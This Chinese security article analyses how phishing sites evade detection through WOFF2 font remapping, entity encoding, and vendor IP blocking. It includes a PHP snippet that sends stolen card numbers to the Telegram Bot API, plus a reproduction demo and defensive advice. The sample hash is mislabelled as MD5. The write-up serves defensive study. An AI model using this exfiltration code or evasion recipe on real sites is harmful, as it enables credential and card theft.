【FireEye解读】钓鱼网站检测逃逸
字数 1056 2025-08-07 00:34:58

钓鱼网站检测逃逸技术深度解析

0x01 技术背景

本文解析了一种利用WOFF字体和多重检测规避技术的高级钓鱼攻击手法,该技术主要针对:

  • 基于静态分析和正则表达式的安全检测系统
  • 电子邮件安全网关
  • 搜索引擎爬虫
  • 自动化安全扫描工具

0x02 核心技术解析

2.1 WOFF字体混淆技术

攻击者使用WOFF2字体文件实现源码与渲染内容的分离:

  1. 字体映射机制:通过自定义字体文件建立字符映射关系(如p→u)
  2. 实现方式
    <style type="text/css">
    @font-face {
      font-family: 'Slabo 27px';
      src: url(1.woff2) format('woff2');
      unicode-range: U+0000-00FF, U+0131...;
    }
    body {
      font-family: 'Slabo 27px', serif;
    }
    </style>
    
  3. 实际效果:网页源码显示"umzzqvid",但用户看到的是"username"等诱导性内容

2.2 多重编码混淆技术

  1. HTML实体编码:对关键词进行编码混淆
    <title>&#20013;&#22269;&#24314;&#35774;&#38134;&#34892;</title>
    
  2. Base64内联字体:高级变种将WOFF2文件转换为Base64直接嵌入CSS

2.3 智能访问控制机制

钓鱼网站实现多维度访问控制:

  1. IP黑白名单

    • 拦截已知安全厂商IP(Barracuda等)
    • 拦截搜索引擎爬虫IP(Google、Altavista)
  2. 访问频率限制

    • GET请求超过5次 → 封禁IP
    • POST提交超过3次 → 封禁IP
  3. 地理定位适配

    • 根据访问者IP自动切换语言版本
    • 增强跨国钓鱼的成功率

0x03 数据回传机制

3.1 Telegram Bot API利用

  1. 数据收集

    • 信用卡信息
    • 用户IP地址
    • 其他敏感凭证
  2. 实现方式

    // 使用Telegram Bot API发送数据示例
    $botToken = "YOUR_BOT_TOKEN";
    $chatID = "TARGET_CHAT_ID";
    $message = "New Victim: ".$_POST['cc_number']." from ".$_SERVER['REMOTE_ADDR'];
    
    file_get_contents("https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatID&text=".urlencode($message));
    
  3. 接收邮箱

    • yandex.com
    • gmail.com

0x04 防御检测建议

4.1 针对WOFF混淆的检测

  1. 实现字体渲染后的DOM内容对比分析
  2. 建立常见钓鱼网站字体特征库
  3. 监控非常规unicode-range声明

4.2 针对智能访问的检测

  1. 多源IP分布式探测
  2. 模拟不同用户代理访问
  3. 行为模式分析(如短时间内多次重定向)

4.3 针对数据回传的检测

  1. 监控向Telegram API的异常请求
  2. 分析表单提交目标与显示URL的一致性
  3. 检测页面中的第三方通信代码

0x05 复现材料

  1. WOFF2样本

    • MD5: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3
    • 下载后重命名为1.woff2与HTML同目录
  2. 完整Demo代码

    <html>
    <head>
      <title>&#20013;&#22269;&#24314;&#35774;&#38134;&#34892;</title>
      <style type="text/css" media="screen, print">
    @font-face {
      font-family: 'Slabo 27px';
      font-style: normal;
      font-weight: 400;
      src: url(1.woff2) format('woff2');
      unicode-range: U+0000-00FF, U+0131, U+0152-0153...;
    }
    body {
      font-family: 'Slabo 27px', serif;
    }
    </style>
    </head>
    <body>
       <span>umzzqvid:</span><input type="text">
    </body>
    </html>
    
  3. Telegram API文档

    • 官方文档: https://core.telegram.org/api/obtaining_api_id

该技术组合展现了现代网络钓鱼攻击的复杂性和针对性,安全团队需要采用动态分析、行为检测和多维关联分析相结合的方式进行防御。

钓鱼网站检测逃逸技术深度解析 0x01 技术背景 本文解析了一种利用WOFF字体和多重检测规避技术的高级钓鱼攻击手法,该技术主要针对: 基于静态分析和正则表达式的安全检测系统 电子邮件安全网关 搜索引擎爬虫 自动化安全扫描工具 0x02 核心技术解析 2.1 WOFF字体混淆技术 攻击者使用WOFF2字体文件实现源码与渲染内容的分离: 字体映射机制 :通过自定义字体文件建立字符映射关系(如p→u) 实现方式 : 实际效果 :网页源码显示"umzzqvid",但用户看到的是"username"等诱导性内容 2.2 多重编码混淆技术 HTML实体编码 :对关键词进行编码混淆 Base64内联字体 :高级变种将WOFF2文件转换为Base64直接嵌入CSS 2.3 智能访问控制机制 钓鱼网站实现多维度访问控制: IP黑白名单 : 拦截已知安全厂商IP(Barracuda等) 拦截搜索引擎爬虫IP(Google、Altavista) 访问频率限制 : GET请求超过5次 → 封禁IP POST提交超过3次 → 封禁IP 地理定位适配 : 根据访问者IP自动切换语言版本 增强跨国钓鱼的成功率 0x03 数据回传机制 3.1 Telegram Bot API利用 数据收集 : 信用卡信息 用户IP地址 其他敏感凭证 实现方式 : 接收邮箱 : yandex.com gmail.com 0x04 防御检测建议 4.1 针对WOFF混淆的检测 实现字体渲染后的DOM内容对比分析 建立常见钓鱼网站字体特征库 监控非常规unicode-range声明 4.2 针对智能访问的检测 多源IP分布式探测 模拟不同用户代理访问 行为模式分析(如短时间内多次重定向) 4.3 针对数据回传的检测 监控向Telegram API的异常请求 分析表单提交目标与显示URL的一致性 检测页面中的第三方通信代码 0x05 复现材料 WOFF2样本 : MD5: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3 下载后重命名为1.woff2与HTML同目录 完整Demo代码 : Telegram API文档 : 官方文档: https://core.telegram.org/api/obtaining_ api_ id 该技术组合展现了现代网络钓鱼攻击的复杂性和针对性,安全团队需要采用动态分析、行为检测和多维关联分析相结合的方式进行防御。